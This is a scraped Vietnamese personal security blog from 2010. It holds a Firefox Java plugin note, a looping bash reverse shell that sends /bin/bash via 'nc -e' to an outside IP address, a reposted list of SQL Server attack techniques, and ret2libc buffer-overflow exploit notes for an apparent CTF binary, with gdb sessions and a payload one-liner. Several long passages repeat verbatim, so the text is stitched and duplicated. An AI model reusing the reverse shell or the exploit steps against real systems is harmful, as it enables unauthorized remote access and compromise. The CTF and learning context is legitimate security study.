Thứ Sáu, 26 tháng 3, 2010
Thứ Năm, 25 tháng 3, 2010
JRE - Firefox 3.6 - Gentoo Notes
cd /usr/lib/mozilla-firefox/plugins
sudo ln -s /usr/lib/jvm/sun-jdk-1.6/jre/lib/i386/libnpjp2.so
sudo ln -s /usr/lib/jvm/sun-jdk-1.6/jre/lib/i386/libnpjp2.so
Chủ Nhật, 21 tháng 3, 2010
Thứ Sáu, 19 tháng 3, 2010
Shell connect back :)
Lam o fong lab ko the ket noi toi no nen minh viet cai shell cho no tu dong ket noi sau 5 s , lo co loi ket noi no se ket noi lai :D
#!/bin/bash -x
while [ 1 ]
do
nc -v 113.22.209.120 1234 -e /bin/bash
sleep 5
done
[Leech] 10 ki thuat tan cong vao sql server
Whether through manual poking and prodding or the use of security testing tools, malicious attackers employ a variety of tricks to break into SQL Server systems, both inside and outside your firewall. It stands to reason then, if the hackers are doing it, you need to carry the same attacks to test the security strength of your systems. Here are 10 hacker tricks to gain access and violate systems running SQL Server.
1. Direct connections via the Internet
These connections can be used to attach to SQL Servers sitting naked without firewall protection for the entire world to see (and access). DShield's Port Report shows just how many systems are sitting out there waiting to be attacked. I don't understand the logic behind making a critical server like this directly accessible from the Internet, but I still find this flaw in my assessments, and we all remember the effect the SQL Slammer worm had on so many vulnerable SQL Server systems. Nevertheless, these direct attacks can lead to denial of service, buffer overflows and more.
2. Vulnerability scanning
Vulnerability scanning often reveals weaknesses in the underlying OS, the Web application or the database system itself. Anything from missing SQL Server patches to Internet Information Services (IIS) configuration weaknesses to SNMP exploits can be uncovered by attackers and lead to database server compromise. The bad guys may use open source, home-grown or commercial tools. Some are even savvy enough to carry out their hacks manually from a command prompt. In the interest of time (and minimal wheel spinning), I recommend using commercial vulnerability assessment tools like QualysGuard from Qualys Inc. (for general scanning), WebInspect from SPI Dynamics (for Web application scanning) and Next Generation Security Software Ltd.'s NGSSquirrel for SQL Server (for database-specific scanning). They're easy to use, offer the most comprehensive assessment and, in turn, provide the best results. Figure 1 shows some SQL injection vulnerabilities you may be able to uncover.
Figure 1: Common SQL injection vulnerabilities found using WebInspect.
3. Enumerating the SQL Server Resolution Service
Running on UDP port 1434, this allows you to find hidden database instances and probe deeper into the system. Chip Andrews' SQLPing v 2.5 is a great tool to use to look for SQL Server system(s) and determine version numbers (somewhat). This works even if your SQL Server instances aren't listening on the default ports. Also, a buffer overflow can occur when an overly long request for SQL Servers is sent to the broadcast address for UDP port 1434.
4. Cracking SA passwords
Deciphering SA passwords is also used by attackers to get into SQL Server databases. Unfortunately, in many cases, no cracking is needed since no password has been assigned (Oh, logic, where art thou?!). Yet another use for the handy-dandy SQLPing tool mentioned earlier. The commercial products AppDetective from Application Security Inc. and NGSSQLCrack from NGS Software Ltd. also have this capability.
5. Direct-exploit attacks
Direct attacks using tools such as Metasploit, shown in Figure 2, and its commercial equivalents (CANVAS and CORE IMPACT) are used to exploit certain vulnerabilities found during normal vulnerability scanning. This is typically the silver-bullet hack for attackers penetrating a system and performing code injection or gaining unauthorized command-line access.
Figure 2: SQL Server vulnerability exploitable using Metasploit's MSFConsole.
6. SQL injection
SQL injection attacks are executed via front-end Web applications that don't properly validate user input. Malformed SQL queries, including SQL commands, can be inserted directly into Web URLs and return informative errors, commands being executed and more. These attacks can be carried out manually -- if you have a lot of time. Once I discover that a server has a potential SQL injection vulnerability, I prefer to perform the follow-through using an automated tool, such as SPI Dynamics' SQL Injector, shown in Figure 3.
Figure 3: SPI Dynamics' SQL Injector tool automates the SQL injection process.
7. Blind SQL injection
These attacks go about exploiting Web applications and back-end SQL Servers in the same basic fashion as standard SQL injection. The big difference is that the attacker doesn't receive feedback from the Web server in the form of returned error messages. Such an attack is even slower than standard SQL injection given the guesswork involved. You need a good tool for this situation, and that's where Absinthe, shown in Figure 4, comes in handy.
Figure 4: Absinthe tool takes the pain out of blind SQL injection testing.
8. Reverse engineering the system
The reverse engineering trick looks for software exploits, memory corruption weaknesses and so on. In this sample chapter from the excellent book Exploiting Software: How to Break Code by Greg Hoglund and Gary McGraw, you'll find a discussion about reverse engineering ploys.
9. Google hacks
Google hacks use the extraordinary power of the Google search engine to ferret out SQL Server errors -- such as "Incorrect syntax near" -- leaking from publicly accessible systems. Several Google queries are available at Johnny Long's Google Hacking Database. (Look in the sections titled Error Messages and Files containing passwords.) Hackers use Google to find passwords, vulnerabilities in Web servers, underlying operating systems, publicly available procedures and more that they can use to further compromise a SQL Server system. Combining these queries with Web site names via Google's 'site:' operator often turns up juicy info you never imagined you could unearth.
10. Perusing Web site source code
Source code can also turn up information that may lead to a SQL Server break in. Specifically, developers may store SQL Server authentication information in ASP scripts to simplify the authentication process. A manual assessment or Google could uncover this information in a split second.
1. Direct connections via the Internet
These connections can be used to attach to SQL Servers sitting naked without firewall protection for the entire world to see (and access). DShield's Port Report shows just how many systems are sitting out there waiting to be attacked. I don't understand the logic behind making a critical server like this directly accessible from the Internet, but I still find this flaw in my assessments, and we all remember the effect the SQL Slammer worm had on so many vulnerable SQL Server systems. Nevertheless, these direct attacks can lead to denial of service, buffer overflows and more.
2. Vulnerability scanning
Vulnerability scanning often reveals weaknesses in the underlying OS, the Web application or the database system itself. Anything from missing SQL Server patches to Internet Information Services (IIS) configuration weaknesses to SNMP exploits can be uncovered by attackers and lead to database server compromise. The bad guys may use open source, home-grown or commercial tools. Some are even savvy enough to carry out their hacks manually from a command prompt. In the interest of time (and minimal wheel spinning), I recommend using commercial vulnerability assessment tools like QualysGuard from Qualys Inc. (for general scanning), WebInspect from SPI Dynamics (for Web application scanning) and Next Generation Security Software Ltd.'s NGSSquirrel for SQL Server (for database-specific scanning). They're easy to use, offer the most comprehensive assessment and, in turn, provide the best results. Figure 1 shows some SQL injection vulnerabilities you may be able to uncover.
Figure 1: Common SQL injection vulnerabilities found using WebInspect.
3. Enumerating the SQL Server Resolution Service
Running on UDP port 1434, this allows you to find hidden database instances and probe deeper into the system. Chip Andrews' SQLPing v 2.5 is a great tool to use to look for SQL Server system(s) and determine version numbers (somewhat). This works even if your SQL Server instances aren't listening on the default ports. Also, a buffer overflow can occur when an overly long request for SQL Servers is sent to the broadcast address for UDP port 1434.
4. Cracking SA passwords
Deciphering SA passwords is also used by attackers to get into SQL Server databases. Unfortunately, in many cases, no cracking is needed since no password has been assigned (Oh, logic, where art thou?!). Yet another use for the handy-dandy SQLPing tool mentioned earlier. The commercial products AppDetective from Application Security Inc. and NGSSQLCrack from NGS Software Ltd. also have this capability.
5. Direct-exploit attacks
Direct attacks using tools such as Metasploit, shown in Figure 2, and its commercial equivalents (CANVAS and CORE IMPACT) are used to exploit certain vulnerabilities found during normal vulnerability scanning. This is typically the silver-bullet hack for attackers penetrating a system and performing code injection or gaining unauthorized command-line access.
Figure 2: SQL Server vulnerability exploitable using Metasploit's MSFConsole.
6. SQL injection
SQL injection attacks are executed via front-end Web applications that don't properly validate user input. Malformed SQL queries, including SQL commands, can be inserted directly into Web URLs and return informative errors, commands being executed and more. These attacks can be carried out manually -- if you have a lot of time. Once I discover that a server has a potential SQL injection vulnerability, I prefer to perform the follow-through using an automated tool, such as SPI Dynamics' SQL Injector, shown in Figure 3.
Figure 3: SPI Dynamics' SQL Injector tool automates the SQL injection process.
7. Blind SQL injection
These attacks go about exploiting Web applications and back-end SQL Servers in the same basic fashion as standard SQL injection. The big difference is that the attacker doesn't receive feedback from the Web server in the form of returned error messages. Such an attack is even slower than standard SQL injection given the guesswork involved. You need a good tool for this situation, and that's where Absinthe, shown in Figure 4, comes in handy.
Figure 4: Absinthe tool takes the pain out of blind SQL injection testing.
8. Reverse engineering the system
The reverse engineering trick looks for software exploits, memory corruption weaknesses and so on. In this sample chapter from the excellent book Exploiting Software: How to Break Code by Greg Hoglund and Gary McGraw, you'll find a discussion about reverse engineering ploys.
9. Google hacks
Google hacks use the extraordinary power of the Google search engine to ferret out SQL Server errors -- such as "Incorrect syntax near" -- leaking from publicly accessible systems. Several Google queries are available at Johnny Long's Google Hacking Database. (Look in the sections titled Error Messages and Files containing passwords.) Hackers use Google to find passwords, vulnerabilities in Web servers, underlying operating systems, publicly available procedures and more that they can use to further compromise a SQL Server system. Combining these queries with Web site names via Google's 'site:' operator often turns up juicy info you never imagined you could unearth.
10. Perusing Web site source code
Source code can also turn up information that may lead to a SQL Server break in. Specifically, developers may store SQL Server authentication information in ASP scripts to simplify the authentication process. A manual assessment or Google could uncover this information in a split second.
Thứ Tư, 17 tháng 3, 2010
Ret2libc ( tiep theo)
Trong bai truoc chung ta da co the invoke dc shell trong GDB bang cach set cac gia tri tai nhung diem ma chung ta co the dieu khien dc. Tuy nhien phuong phap do se rat kho thanh cong boi vi rat kho xac dinh chinh xac dia chi cua /bin/sh de hardcode vao ( co the brute force ) cho nen chung ta se chuyen sang mot cach khac thiet thuc hon.
Boi vi viec tim ra dia chi chinh xac cua "/bin/sh" la kha kho cho nen chung ta can 1 cach nao do de lay chinh xac dia chi nay!
Thong thuong se co mot con tro to toi dau cua buffer . Trong bai harder nay co 2 con tro nhu vay.
Va sau khi overflow :
Nhu vay chung ta thay rang sau khi overflow van con 1 con tro tro ve dau buffer. Voi thi nghiem luc ban dau chung ta co the thuc hien :
Cau hoi la lam cach nao dua esp tro vao dung noi chua con tro nay, boi vi ngay sau luc tran no se tro ve dia chi ma chung ta ghi de!
TOm lai chung ta can esp tai thoi diem goi execl:
esp : something 0x0804b008 something something
Su dung phuong phap esp lifting se lam dc dieu nay.
Phuong phap nay thuc hien dua tren 2 lenh lien tuc la pop & ret . Pop se dich. esp lui len tren va ret se return ve gia tri. da dc pop ra .
Co nghia la stack se nhu the nay :
RET RET RET RET2Execl Something PTR
Lenh RET cuoi cung se dua chung ta vao` Execl dong` thoi dua esp tro toi :
ESP Something PTR
Tuc la thoa man yeu cau chung ta!
Chuoi pop ret thi rat quen thuoc! Do vay. chung ta se xay dung chuoi khai thac nhu sau :
[/bin/sh\x00][A*N][RET2popret*n][Execl]
Phan tiep theo chung ta se xay dung chuong trinh khai thac loi tran bo dem thong qua ret2execl
#include
#include
/*
*
* Chuong trinh nay de xac dinh cach dua thong so vao ham execl
* Ngay truoc khi call execl, stack se chia dia chi cua chuoi "/bin/sh"
*/
int main()
{
execl("/bin/sh","aaaaaaa",0);
}
suto@home ~/Learning/Expoit Writer/BufferOverFlow/Ret2libc $ gcc CallExecl.c -o CallExecl3
CallExecl.c: In function 'main':
CallExecl.c:10: warning: incompatible implicit declaration of built-in function 'execl'
CallExecl.c:10: warning: missing sentinel in function call
suto@home ~/Learning/Expoit Writer/BufferOverFlow/Ret2libc $ ./CallExecl3
suto@home ~/Learning/Expoit Writer/BufferOverFlow/Ret2libc $ exit
exit
suto@home ~/Learning/Expoit Writer/BufferOverFlow/Ret2libc $ cat|./CallExecl3
id
uid=1000(suto) gid=1004(suto) groups=10(wheel),18(audio),27(video),100(users),1004(suto),1007(vboxusers)
^C
Boi vi viec tim ra dia chi chinh xac cua "/bin/sh" la kha kho cho nen chung ta can 1 cach nao do de lay chinh xac dia chi nay!
Thong thuong se co mot con tro to toi dau cua buffer . Trong bai harder nay co 2 con tro nhu vay.
gdb$ x/20x $esp
0xbffff350: 0x0804b000 0x00000128 0x00000000 0x00000000
0xbffff360: 0x00004827 0x00000000 0xb7fcaffc 0xb7fcc840
0xbffff370: 0x0804b008 0xbffff3bc 0xb7f058ba 0xb7fcc840
0xbffff380: 0x0804b008 0x0000011e 0xb7fcf000 0x00000008
Va sau khi overflow :
Breakpoint 2, 0x08048509 in func ()
gdb$ x/20x $ebp
0xbffff488: 0x0000000a 0x0804b008 0x00000000 0xb8000ce0
gdb$ x/s 0x0804b008
0x804b008: "A"*260
Nhu vay chung ta thay rang sau khi overflow van con 1 con tro tro ve dau buffer. Voi thi nghiem luc ban dau chung ta co the thuc hien :
execl("/bin/sh",[something],[something]
Cau hoi la lam cach nao dua esp tro vao dung noi chua con tro nay, boi vi ngay sau luc tran no se tro ve dia chi ma chung ta ghi de!
TOm lai chung ta can esp tai thoi diem goi execl:
esp : something 0x0804b008 something something
Su dung phuong phap esp lifting se lam dc dieu nay.
Phuong phap nay thuc hien dua tren 2 lenh lien tuc la pop & ret . Pop se dich. esp lui len tren va ret se return ve gia tri. da dc pop ra .
Co nghia la stack se nhu the nay :
RET RET RET RET2Execl Something PTR
Lenh RET cuoi cung se dua chung ta vao` Execl dong` thoi dua esp tro toi :
ESP Something PTR
Tuc la thoa man yeu cau chung ta!
Chuoi pop ret thi rat quen thuoc! Do vay. chung ta se xay dung chuoi khai thac nhu sau :
[/bin/sh\x00][A*N][RET2popret*n][Execl]
Phan tiep theo chung ta se xay dung chuong trinh khai thac loi tran bo dem thong qua ret2execl
Thứ Ba, 16 tháng 3, 2010
Ret2Libc ( vi du Execl)
Truoc tien tim hieu chuong trinh goi execl se nhu hoat dong ra sao :
(main + 4)
Con 2 gia tri kia thi chac ro roi :D
Gio nhay vao ung dung thuc te Ret2Execl .
Ta co o day :
0xbffff3c0: "SHELL=/bin/bash"
(gdb) x/s 0xbffff3c6
0xbffff3c6: "/bin/bash"
(gdb) x/s 0xbffff3cd
0xbffff3cd: "sh"
(gdb) set *0xbffff018=0xbffff3cd
(gdb) x/4x $esp
0xbffff010: 0x316a4130 0xbffff3c6 0xbffff3cd 0x42424242
(gdb) set *0xbffff010=0x08048568
(gdb) set *0xbffff020=0
(gdb) x/4x $esp
0xbffff010: 0x08048568 0xbffff3c6 0xbffff3cd 0x42424242
(gdb) set *0xbffff01c=0
(gdb) x/4x $esp
0xbffff010: 0x08048568 0xbffff3c6 0xbffff3cd 0x00000000
(gdb) c
Continuing.
Executing new program: /bin/bash
Nhu vay chung ta hoan toan dieu khien dc qua trinh nay :)
Co the thuc thi chuong trinh nhu sau :
python -c "print 'a'*288+'\x00\x00\x00\x00'"|./harder_2010
Minh them \x00 vi neu nhu khong co no se tu dong them ki tu xuong dong vao cuoi chuoi trong khi chung ta can o cuoi la NULL,
Truoc tien tim hieu chuong trinh goi execl se nhu hoat dong ra sao :
#include
#include
/*
*
* Chuong trinh nay de xac dinh cach dua thong so vao ham execl
* Ngay truoc khi call execl, stack se chia dia chi cua chuoi "/bin/sh"
*/
int main()
{
execl("/bin/sh","sh",NULL);
}
(gdb) b mainSau nay chuong trinh cua chung ta se return zo 0xb7f1d330 do vay chung ta se break tai day de xem xet stack tai thoi diem do ra sao, muc dich de chung ta bo tri stack ( thong qua buffer ) cua chung ta cho hop li de chuong trinh chay shell.
Breakpoint 1 at 0x80483f2
(gdb) r
Starting program: /home/suto/Learning/Expoit Writer/BufferOverFlow/Ret2libc/CallExecl
Breakpoint 1, 0x080483f2 in main ()
(gdb) p execl
$1 = {} 0xb7f1d330
(gdb)
(gdb) b *0xb7f1d3300x08048411 -> 0x08048411
Breakpoint 2 at 0xb7f1d330
(gdb) c
Continuing.
Breakpoint 2, 0xb7f1d330 in execl () from /lib/libc.so.6
(gdb) x/4x $esp
0xbfffefdc: 0x08048411 0x080484e3 0x080484e0 0x00000000
(gdb) x/s 0x080484e3
0x80484e3: "/bin/sh"
(gdb) x/s 0x080484e0
0x80484e0: "sh"
(gdb)
Con 2 gia tri kia thi chac ro roi :D
Gio nhay vao ung dung thuc te Ret2Execl .
Starting program: /mnt/d/PreCtf/CodeGate/Exploit/harder_2010O day chung ta thay rang luc nay cac gia tri tren stack deu do chung ta dieu khien ( tu chuoi buffer ma ra ) do vay co the dung gdb de thay doi cac gia tri do cho no giong nhu la goi execl("/bin/sh","sh",0)
Input: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2ABBBBBBBBBBBB
Breakpoint 2, 0x08048501 in func ()
(gdb) c
Continuing.
Breakpoint 1, 0x08048509 in func ()
(gdb) x/4x $ebp
0xbffff008: 0x41386941 0x6a413969 0x316a4130 0x41326a41
(gdb) set *0xbffff00c=0xb7f1d330
(gdb) x/4x $ebp
0xbffff008: 0x41386941 0xb7f1d330 0x316a4130 0x41326a41
(gdb) x/4i $eip
0x8048509: leave
0x804850a: ret
0x804850b: push %ebp
0x804850c: mov %esp,%ebp
(gdb) stepi
0x0804850a in func ()
(gdb)
0xb7f1d330 in execl () from /lib/libc.so.6
(gdb) x/4x $esp
0xbffff010: 0x316a4130 0x41326a41 0x42424242 0x42424242
(gdb)
Ta co o day :
0xbffff3c0: "SHELL=/bin/bash"
(gdb) x/s 0xbffff3c6
0xbffff3c6: "/bin/bash"
(gdb) x/s 0xbffff3cd
0xbffff3cd: "sh"
(gdb) set *0xbffff018=0xbffff3cd
(gdb) x/4x $esp
0xbffff010: 0x316a4130 0xbffff3c6 0xbffff3cd 0x42424242
(gdb) set *0xbffff010=0x08048568
(gdb) set *0xbffff020=0
(gdb) x/4x $esp
0xbffff010: 0x08048568 0xbffff3c6 0xbffff3cd 0x42424242
(gdb) set *0xbffff01c=0
(gdb) x/4x $esp
0xbffff010: 0x08048568 0xbffff3c6 0xbffff3cd 0x00000000
(gdb) c
Continuing.
Executing new program: /bin/bash
Nhu vay chung ta hoan toan dieu khien dc qua trinh nay :)
Co the thuc thi chuong trinh nhu sau :
python -c "print 'a'*288+'\x00\x00\x00\x00'"|./harder_2010
Minh them \x00 vi neu nhu khong co no se tu dong them ki tu xuong dong vao cuoi chuoi trong khi chung ta can o cuoi la NULL,
Program terminated with signal 11, Segmentation fault.
#0 0x61616161 in ?? ()
gdb$ x/20x $esp
0xbffff520: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff530: 0x00000000 0xb7fc000a 0x00000126 0x0804b008
Đăng ký:
Nhận xét (Atom)